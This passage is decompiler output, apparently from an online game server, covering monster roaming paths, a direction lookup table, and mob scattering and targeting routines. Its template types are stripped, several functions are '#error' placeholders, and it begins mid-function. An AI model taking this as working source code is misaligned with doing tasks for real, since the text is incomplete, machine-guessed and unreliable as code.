*)(*(_DWORD *)&v5 + 48) = 1; } if ( *(_DWORD *)(*(_DWORD *)&v4 + 16) ) operator delete(*(void **)(*(_DWORD *)&v4 + 16)); *(_DWORD *)(*(_DWORD *)&v4 + 16) = 0; *(_DWORD *)(*(_DWORD *)&v4 + 20) = 0; *(_DWORD *)(*(_DWORD *)&v4 + 24) = 0; operator delete(*(void **)&v4); v18 = v20->_Mysize; if ( v18 > 0 ) v20->_Mysize = v18 - 1; v19 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v19; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (004A36E0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; std::_Tree_nod_std::allocator_0>>::_Node::__Node(v2); operator delete(v2); } } //----- (004A3720) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, MobRoaming::MobRoamingPath *_Val) { std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@1 MobRoaming::MobRoamingPath *v6; // esi@1 MobRoaming::MobRoamingPath *v7; // ebp@1 bool v8; // al@1 int v9; // edx@2 int v10; // eax@3 MobRoaming::MobRoamingPath *v11; // edi@12 MobRoaming::MobRoamingPath **v12; // ecx@13 int v13; // edx@15 std::pair,std::allocator,0> >::iterator,bool> *v14; // eax@15 bool v15; // [sp-Ch] [bp-20h]@14 std::_Tree_nod,std::allocator,0> >::_Node *v16; // [sp-8h] [bp-1Ch]@14 MobRoaming::MobRoamingPath *v17; // [sp-4h] [bp-18h]@14 char _Addleft; // [sp+10h] [bp-4h]@1 v3 = this; v4 = this->_Myhead; v5 = v4->_Parent; v6 = _Val; v7 = (MobRoaming::MobRoamingPath *)v4; v8 = 1; _Addleft = 1; while ( !v5->_Isnil ) { v9 = *(_DWORD *)&v5->_Myval.mrp_GroupName.ort_Name[0]; v7 = (MobRoaming::MobRoamingPath *)v5; if ( *(_DWORD *)&_Val->mrp_GroupName.ort_Name[0] == v9 ) { v10 = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[4]; v9 = *(_DWORD *)&v5->_Myval.mrp_GroupName.ort_Name[4]; if ( v10 == v9 ) { v10 = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[8]; v9 = *(_DWORD *)&v5->_Myval.mrp_GroupName.ort_Name[8]; if ( v10 == v9 ) { v10 = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[12]; v9 = *(_DWORD *)&v5->_Myval.mrp_GroupName.ort_Name[12]; if ( v10 == v9 ) { v10 = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[16]; v9 = *(_DWORD *)&v5->_Myval.mrp_GroupName.ort_Name[16]; } } } } else { v10 = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[0]; } v8 = v10 - v9 < 0; _Addleft = v8; if ( v8 ) v5 = v5->_Left; else v5 = v5->_Right; } v11 = v7; _Val = v7; if ( v8 ) { v12 = &_Val; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Left ) { v17 = v6; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; v15 = 1; LABEL_15: v13 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v3, (std::_Tree,std::allocator,0> >::iterator *)v12, v15, v16, v17)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v14 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v13; result->second = 1; return v14; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v11 = _Val; } if ( MobRoaming::MobRoamingPath::operator<((MobRoaming::MobRoamingPath *)((char *)v11 + 12), v6) ) { v17 = v6; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; v15 = _Addleft; v12 = &_Val; goto LABEL_15; } v14 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v11; result->second = 0; return v14; } //----- (004A3800) -------------------------------------------------------- MobRoaming::MobRoamingPath *__thiscall MobRoaming::MobRoamingSet::mrs_Load(MobRoaming::MobRoamingSet *this, Name4 *world, ORToken *groupname) { MobRoaming::MobRoamingSet *v3; // ebp@1 char *v4; // esi@2 int v5; // edx@2 MobRoaming::MobRoamingPath *v6; // eax@4 MobRoaming::MobRoamingPath *v7; // eax@6 int v8; // esi@6 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@8 char *v10; // eax@8 int i; // edi@11 void *v12; // eax@12 MobRoaming::MobRoamingPath *v13; // eax@16 ORToken v14; // [sp-18h] [bp-10960h]@12 int v15; // [sp-14h] [bp-1095Ch]@12 int v16; // [sp-10h] [bp-10958h]@12 int v17; // [sp-Ch] [bp-10954h]@12 char *v18; // [sp-8h] [bp-10950h]@2 int v19; // [sp-4h] [bp-1094Ch]@2 int v20; // [sp+10h] [bp-10938h]@1 std::pair,std::allocator,0> >::iterator,bool> result; // [sp+14h] [bp-10934h]@4 char v22; // [sp+1Ch] [bp-1092Ch]@6 MobRoaming::MobRoamingPath thisa; // [sp+20h] [bp-10928h]@4 OptionReader or; // [sp+44h] [bp-10904h]@2 char tmp[32]; // [sp+10898h] [bp-B0h]@2 char path[128]; // [sp+108B8h] [bp-90h]@2 unsigned int v27; // [sp+10938h] [bp-10h]@1 int v28; // [sp+10944h] [bp-4h]@2 v27 = (unsigned int)&v20 ^ __security_cookie; v3 = this; if ( !MobRoaming::MobRoamingSet::mrs_Get(this, groupname) ) { OptionReader::OptionReader(&or); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v4 = (char *)&namestring + 256 * namestring.ns_point.value; *(_QWORD *)v4 = *(_QWORD *)&world->n4_name[0]; *((_DWORD *)v4 + 2) = *(_DWORD *)&world->n4_name[8]; v5 = *(_DWORD *)&world->n4_name[12]; v19 = (int)tmp; v28 = 0; *((_DWORD *)v4 + 3) = v5; v4[16] = 0; ORToken::ort_GetString(groupname, (char *)v19); v18 = v4; sprintf(path, "../9Data/Hero/World/%s/MobRoam/%s.txt"); if ( OptionReader::or_Read(&or, path) || (OptionReader::or_ClearError(&or), ORToken::ort_GetString(groupname, tmp), sprintf(path, "../9Data/Hero/MobRoam/%s.txt"), !OptionReader::or_Read(&or, path)) ) { v28 = -1; OptionReader::_OptionReader(&or); } else { MobRoaming::MobRoamingPath::MobRoamingPath(&thisa, groupname); LOBYTE(v28) = 1; std::_Tree_std::allocator_0>>::insert( &v3->baseclass_0.baseclass_0, &result, v6); LOBYTE(v28) = 0; if ( thisa.baseclass_0._Myfirst ) operator delete(thisa.baseclass_0._Myfirst); MobRoaming::MobRoamingPath::MobRoamingPath(&thisa, groupname); v8 = *(_DWORD *)&std::_Tree_std::allocator_0>>::find( &v3->baseclass_0.baseclass_0, (std::_Tree,std::allocator,0> >::iterator *)&v22, v7)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( thisa.baseclass_0._Myfirst ) operator delete(thisa.baseclass_0._Myfirst); v9 = v3->baseclass_0.baseclass_0._Myhead; thisa.baseclass_0._Myfirst = 0; thisa.baseclass_0._Mylast = 0; thisa.baseclass_0._Myend = 0; BYTE3(v20) = v8 != (_DWORD)v9; v10 = ORToken::ort_GetString(groupname, tmp); if ( !BYTE3(v20) ) { AssertClass::ac_AssertFail(&shineassert, "MobRoaming::MobRoamingSet::mrs_Load : Error in load", v10); ShineExit("MobRoaming::MobRoamingSet::mrs_Load"); } for ( i = 0; ; ++i ) { v19 = i; *(_DWORD *)&result.first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v14; v18 = 0; v17 = 0; v16 = 0; v15 = 0; *(_DWORD *)&v14.ort_Name[0] = 0; strncpy(v14.ort_Name, "Roaming", 0x14u); v12 = OptionReader::or_SelectFromOrder(&or, v14, v19); if ( !v12 ) break; std::vector>::push_back( (std::vector > *)(v8 + 12), (MobRoaming::PathElement *)v12); } v28 = -1; OptionReader::_OptionReader(&or); } } __security_check_cookie((unsigned int)&v20 ^ v27); return v13; } //----- (004A3A70) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 49) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 49); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 49); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (004A3B30) -------------------------------------------------------- void __thiscall MobRoaming::MobRoamingSet::mrs_Load(MobRoaming::MobRoamingSet *this, Name4 *world) { MobRoaming::MobRoamingSet *v2; // ebp@1 char v3; // bl@1 int v4; // eax@1 int i; // ebx@4 void *v6; // edi@5 MobRoaming::MobRoamingPath *v7; // eax@9 ORToken v8; // [sp-24h] [bp-108B8h]@5 int v9; // [sp-20h] [bp-108B4h]@5 int v10; // [sp-1Ch] [bp-108B0h]@5 int v11; // [sp-18h] [bp-108ACh]@5 int v12; // [sp-14h] [bp-108A8h]@5 char *v13; // [sp-10h] [bp-108A4h]@5 int v14; // [sp-Ch] [bp-108A0h]@5 int v15; // [sp-8h] [bp-1089Ch]@5 int *v16; // [sp-4h] [bp-10898h]@5 ORToken *v17; // [sp+10h] [bp-10884h]@1 int type; // [sp+14h] [bp-10880h]@5 Name4 *v19; // [sp+18h] [bp-1087Ch]@1 char groupname[4]; // [sp+1Ch] [bp-10878h]@9 int v21; // [sp+20h] [bp-10874h]@9 int v22; // [sp+24h] [bp-10870h]@9 int v23; // [sp+28h] [bp-1086Ch]@9 int v24; // [sp+2Ch] [bp-10868h]@9 OptionReader or; // [sp+30h] [bp-10864h]@1 unsigned int v26; // [sp+10884h] [bp-10h]@1 int v27; // [sp+10890h] [bp-4h]@1 v26 = (unsigned int)&v17 ^ __security_cookie; v2 = this; v19 = world; OptionReader::OptionReader(&or); v27 = 0; v3 = OptionReader::or_Read(&or, "../9Data/Hero/World/PineScript.txt"); v4 = OptionReader::or_ErrorLine(&or); if ( !v3 ) { AssertClass::ac_AssertFail(&shineassert, "MobRoaming::MobRoamingSet::mrs_Load : Option read error", v4); ShineExit("MobRoaming::MobRoamingSet::mrs_Load"); } for ( i = 0; ; ++i ) { v16 = &type; v15 = i; v14 = 0; v13 = byte_635E1E; v17 = &v8; v12 = 0; v11 = 0; v10 = 0; v9 = 0; *(_DWORD *)&v8.ort_Name[0] = 0; strncpy(v8.ort_Name, "RoamingData", 0x14u); v6 = OptionReader::or_Select(&or, "RoamingFile", v8, v13, v14, v15, v16); if ( !v6 ) break; if ( type != 2 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_LoadScripts : Type error", type); ShineExit("ScenarioBookShelf::sbs_LoadScripts"); } v24 = 0; v23 = 0; v22 = 0; v21 = 0; *(_DWORD *)groupname = 0; strncpy(groupname, (const char *)v6, 0x14u); v7 = MobRoaming::MobRoamingSet::mrs_Load(v2, v19, (ORToken *)groupname); v17 = (ORToken *)(v7 != 0); if ( v7 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "MobRoaming::MobRoamingSet::mrs_Load : Roaming Data(in PineScript.txt)not found", (const char *)v6); ShineExit("ScenarioBookShelf::sbs_LoadScripts"); } } v27 = -1; OptionReader::_OptionReader(&or); __security_check_cookie((unsigned int)&v17 ^ v26); } //----- (004A3CE0) -------------------------------------------------------- void __thiscall MobRoaming::MobRoamingSet::_MobRoamingSet(MobRoaming::MobRoamingSet *this) { MobRoaming::MobRoamingSet *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->baseclass_0.baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0.baseclass_0._Myhead); operator delete(v1->baseclass_0.baseclass_0._Myhead); v1->baseclass_0.baseclass_0._Myhead = 0; v1->baseclass_0.baseclass_0._Mysize = 0; } //----- (004A3D10) -------------------------------------------------------- void __thiscall MobRoaming::MobRoamingSet::MobRoamingSet(MobRoaming::MobRoamingSet *this) { MobRoaming::MobRoamingSet *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode(&this->baseclass_0.baseclass_0); v1->baseclass_0.baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->baseclass_0.baseclass_0._Myhead->_Parent = v1->baseclass_0.baseclass_0._Myhead; v1->baseclass_0.baseclass_0._Myhead->_Left = v1->baseclass_0.baseclass_0._Myhead; v1->baseclass_0.baseclass_0._Myhead->_Right = v1->baseclass_0.baseclass_0._Myhead; v1->baseclass_0.baseclass_0._Mysize = 0; } //----- (004A3D40) -------------------------------------------------------- void __thiscall ShineRadian2OctaDirect::ShineRadian2OctaDirect(ShineRadian2OctaDirect *this) { signed int v1; // edx@1 v1 = 0; do { if ( v1 < 12 ) { LABEL_17: this->sr2od_Array[v1].dx = 0; goto LABEL_18; } if ( v1 >= 34 ) { if ( v1 < 57 ) { this->sr2od_Array[v1].dx = 20; this->sr2od_Array[v1].dy = 0; goto LABEL_19; } if ( v1 < 79 ) { this->sr2od_Array[v1].dx = 20; this->sr2od_Array[v1].dy = -20; goto LABEL_19; } if ( v1 < 102 ) { this->sr2od_Array[v1].dx = 0; this->sr2od_Array[v1].dy = -20; goto LABEL_19; } if ( v1 < 124 ) { this->sr2od_Array[v1].dx = -20; this->sr2od_Array[v1].dy = -20; goto LABEL_19; } if ( v1 < 147 ) { this->sr2od_Array[v1].dx = -20; this->sr2od_Array[v1].dy = 0; goto LABEL_19; } if ( v1 >= 169 ) goto LABEL_17; this->sr2od_Array[v1].dx = -20; } else { this->sr2od_Array[v1].dx = 20; } LABEL_18: this->sr2od_Array[v1].dy = 20; LABEL_19: ++v1; } while ( v1 < 180 ); } //----- (004A3DE0) -------------------------------------------------------- void __thiscall ShineRadian2OctaDirect::sr2od_Coord(ShineRadian2OctaDirect *this, int sr, SHINE_XY_TYPE *coord) { int v3; // edi@1 unsigned int v4; // edx@5 v3 = sr; if ( sr < 0 ) v3 = sr + 180 * (-1 - sr) / 0xB4u + 180; if ( v3 >= 180 ) v3 %= 0xB4u; v4 = coord->y; coord->x += this->sr2od_Array[v3].dx; coord->y = this->sr2od_Array[v3].dy + v4; } //----- (004A3E50) -------------------------------------------------------- void __thiscall AxialListNearMobAnalyser::AxialListNearMobAnalyser(AxialListNearMobAnalyser *this) { AxialListNearMobAnalyser *v1; // esi@1 int v2; // [sp+8h] [bp+4h]@0 v1 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v1->alnma_Middle = 0; v1->alnma_Right = 0; v1->alnma_Left = 0; *(_DWORD *)&v1->gap10[0] = v2; v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearMobAnalyser::_vftable_; } // 4A3E50: inconsistent function type and number of purged bytes // 64D2C8: using guessed type int (__stdcall *AxialListNearMobAnalyser___vftable_)(int, int, int distancesquar); //----- (004A3E80) -------------------------------------------------------- void __thiscall AxialListNearMobAnalyser::_AxialListNearMobAnalyser(AxialListNearMobAnalyser *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearMobAnalyser::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 64D2C8: using guessed type int (__stdcall *AxialListNearMobAnalyser___vftable_)(int, int, int distancesquar); //----- (004A3E90) -------------------------------------------------------- AxialListNearMobAnalyser::ALNMA_ScantterDirect __thiscall AxialListNearMobAnalyser::alnma_ScatterDirect(AxialListNearMobAnalyser *this) { AxialListNearMobAnalyser *v1; // esi@1 int v2; // eax@1 int v3; // ecx@1 AxialListNearMobAnalyser::ALNMA_ScantterDirect result; // eax@2 unsigned __int16 v5; // ax@7 AxialListNearMobAnalyser::ALNMA_ScantterDirect v6; // esi@7 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListNearMobAnalyser::ali_Work"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListNearMobAnalyser::ali_Work"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->alnma_Left; v3 = v1->alnma_Right; if ( v2 <= v3 ) { if ( v2 >= v3 ) { if ( v1->alnma_Middle ) { v5 = RandomBox::operator__(&rndbox, 2u); --funcallanalizer.fca_stackpoint; v6 = (v5 != 0) + 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNearMobAnalyser::ali_Work"); result = v6; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNearMobAnalyser::ali_Work"); result = 0; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNearMobAnalyser::ali_Work"); result = 1; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListNearMobAnalyser::ali_Work"); result = 2; } return result; } //----- (004A3FE0) -------------------------------------------------------- #error "4A3FE0: undefined or illegal type '#593' (funcsize=67)" //----- (004A40D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_Scattering(void *this) { int v1; // esi@1 bool v2; // cf@1 bool v3; // zf@1 int v4; // eax@4 int v5; // eax@9 int v6; // ST04_4@11 int v7; // eax@11 char v8; // bl@11 AxialListNearMobAnalyser::ALNMA_ScantterDirect v9; // eax@11 int v10; // eax@12 int v11; // eax@17 int v12; // ecx@17 int v13; // edi@19 unsigned __int16 v14; // ax@19 int v15; // eax@19 int v16; // edi@19 int v17; // eax@19 char v18; // bl@19 int v19; // ST04_4@19 int v20; // eax@19 FunctionEntarance _; // [sp+10h] [bp-38h]@1 SHINE_XY_TYPE towhere; // [sp+14h] [bp-34h]@17 AxialListPacketBroadcast alchat; // [sp+1Ch] [bp-2Ch]@19 AxialListNearMobAnalyser alnma; // [sp+28h] [bp-20h]@11 int v25; // [sp+44h] [bp-4h]@1 v1 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShineMob::sm_Scattering"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_Scattering"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_Scattering"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = clockwatch.cw_CurrTick < *(_DWORD *)(v1 + 7472); v3 = clockwatch.cw_CurrTick == *(_DWORD *)(v1 + 7472); v25 = 0; if ( v2 | v3 || MoveManager::mm_DuringMove((MoveManager *)(v1 + 232)) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1152))(v1) == 3 || (v4 = *(_DWORD *)(v1 + 7656)) == 0 ) { --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_Scattering"); } else { if ( !*(_DWORD *)v4 || *(_DWORD *)(*(_DWORD *)v4 + 95) || *(_DWORD *)(*(_DWORD *)(v4 + 4) + 45) == 2 || (v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1068))(v1), (unsigned __int8)Parameter::Container::IsNoAttacOrNoMove(v5)) ) { v25 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { AxialListNearMobAnalyser::AxialListNearMobAnalyser(&alnma); LOBYTE(v25) = 1; v6 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v1); v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v1, v7, v6, (char *)0x14, 0, (int)&alnma, 0, 65535); v8 = ShineObjectClass::ShineObject::so_GetDirect(v1); v9 = AxialListNearMobAnalyser::alnma_ScatterDirect(&alnma); if ( v9 ) { v10 = v9 - 1; if ( v10 ) { if ( v10 == 1 ) { v8 += 45; if ( (unsigned __int8)v8 >= 0xB4u ) v8 += 76; } } else { v8 -= 45; } v11 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v1); towhere.x = *(_DWORD *)v11; towhere.y = *(_DWORD *)(v11 + 4); ShineRadian2OctaDirect::sr2od_Coord(&sr2od, (unsigned __int8)v8, &towhere); v12 = *(_DWORD *)(v1 + 98); if ( !v12 || !(unsigned __int8)FieldMap::fm_IsBlock( v12, towhere.x, towhere.y, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsAttackBlock) ) { v13 = *(_DWORD *)v1; v14 = (*(int (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)v1 + 1296))(v1, 1, 0); (*(void (__thiscall **)(int, AxialListPacketBroadcast *, _DWORD))(v13 + 1624))(v1, &alchat, v14); v15 = ChargedItemEffectFinger::cief_GetFinger((ORErrorMessage *)&gpp); v16 = v15 + 2; *(_WORD *)v15 = 8216; *(_WORD *)(v15 + 2) = AxialListNearGateFind::alngf_Gethandle(v1); v17 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v1); v18 = *(_BYTE *)(v16 + 20); *(_DWORD *)(v16 + 2) = *(_DWORD *)v17; *(_DWORD *)(v16 + 6) = *(_DWORD *)(v17 + 4); *(_DWORD *)(v16 + 10) = towhere.x; *(_DWORD *)(v16 + 14) = towhere.y; *(_BYTE *)(v16 + 20) = v18 & 0xFE; *(_WORD *)(v16 + 18) = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1296))(v1); ShineObjectClass::ShineMobileObject::smo_SetMovePacket(v1, 24, v16); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 23); LOBYTE(v25) = 2; v19 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v1); v20 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v1, v20, v19, 0, 0, (int)&alchat, 0, 65535); *(_DWORD *)(v1 + 7472) = clockwatch.cw_CurrTick + 3; LOBYTE(v25) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } LOBYTE(v25) = 0; alnma.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearMobAnalyser::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alnma); v25 = -1; FunctionEntarance::_FunctionEntarance(&_); } } } // 64D2C8: using guessed type int (__stdcall *AxialListNearMobAnalyser___vftable_)(int, int, int distancesquar); //----- (004A43A0) -------------------------------------------------------- #error "4A43A0: undefined or illegal type '#593' (funcsize=56)" //----- (004A4450) -------------------------------------------------------- SkillDataBox::SkillDataIndex *__thiscall ShineObjectClass::ShineMob::sm_GetWeaponCastTime(int this) { SkillDataBox::SkillDataIndex *result; // eax@1 int v2; // ecx@2 result = SkillDataBox::operator__( &skilldatabox, *(_WORD *)(*(_DWORD *)(*(_DWORD *)(this + 7656) + 8) + 12 * *(_DWORD *)(this + 7680) + 4)); if ( result ) { v2 = 10 * result->sdi_Activ->CastTime; result = (SkillDataBox::SkillDataIndex *)(((signed int)((unsigned __int64)(v2 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v2 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31)); } return result; } //----- (004A44A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_SetTarget(int this, __int16 targethandle) { int v2; // edx@2 __int16 arg; // [sp+0h] [bp-108h]@1 __int16 v4; // [sp+2h] [bp-106h]@3 unsigned int v5; // [sp+104h] [bp-4h]@1 v5 = (unsigned int)&arg ^ __security_cookie; if ( targethandle != *(_WORD *)(this + 9010) ) { v2 = *(_DWORD *)(this + 98); *(_WORD *)(this + 9010) = targethandle; if ( v2 ) { arg = *(_WORD *)(this + 4); v4 = targethandle; if ( targethandle != -1 ) Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v2 + 68), ScriptInterrupt::ScriptInterruptManager::sim_TargetChange, (ScriptInterrupt::InterruptHappenArgument *)&arg); } } } //----- (004A4520) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionNeededTarget::mant_SetTarget(MobTacticElement::MobActionNeededTarget *this, #593 *target) { MobTacticElement::MobActionBase *result; // eax@1 result = (MobTacticElement::MobActionBase *)this; *this->mant_Target.mbto_Target = target; return result; } //----- (004A4530) -------------------------------------------------------- #error "4A4530: undefined or illegal type '#593' (funcsize=17)" //----- (004A4570) -------------------------------------------------------- #error "4A4570: undefined or illegal type '#593' (funcsize=31)" //----- (004A45D0) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_CurrentTargetHandle() { return -1; } //----- (004A45E0) -------------------------------------------------------- #error "4A45E0: undefined or illegal type '#593' (funcsize=8)" //----- (004A4600) -------------------------------------------------------- #593 *__thiscall MobTacticElement::MobActionNeededTarget::mab_GetTargetObject(MobTacticElement::MobActionNeededTarget *this) { return *this->mant_Target.mbto_Target; } //----- (004A4610) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionInMove::MobActionInMove(MobTacticElement::MobActionInMove *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionInMove::_vftable_; } // 64D33C: using guessed type int (__stdcall *MobTacticElement__MobActionInMove___vftable_[2])(int argument); //----- (004A4620) -------------------------------------------------------- void __thiscall MobTacticElement::DuringReturn2Regen::DuringReturn2Regen(MobTacticElement::DuringReturn2Regen *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::DuringReturn2Regen::_vftable_; } // 64D35C: using guessed type int (__stdcall *MobTacticElement__DuringReturn2Regen___vftable_[2])(int argument); //----- (004A4630) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionInChase::MobActionInChase(MobTacticElement::MobActionInChase *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionInChase::_vftable_; } // 64D37C: using guessed type int (__thiscall *MobTacticElement__MobActionInChase___vftable_)(MobTacticElement::MobActionBase *this, int argument); //----- (004A4640) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionInMove_Cancelable::MobActionInMove_Cancelable(MobTacticElement::MobActionInMove_Cancelable *this) { this->baseclass_0.baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionInMove_Cancelable::_vftable_; } // 64D39C: using guessed type int (__stdcall 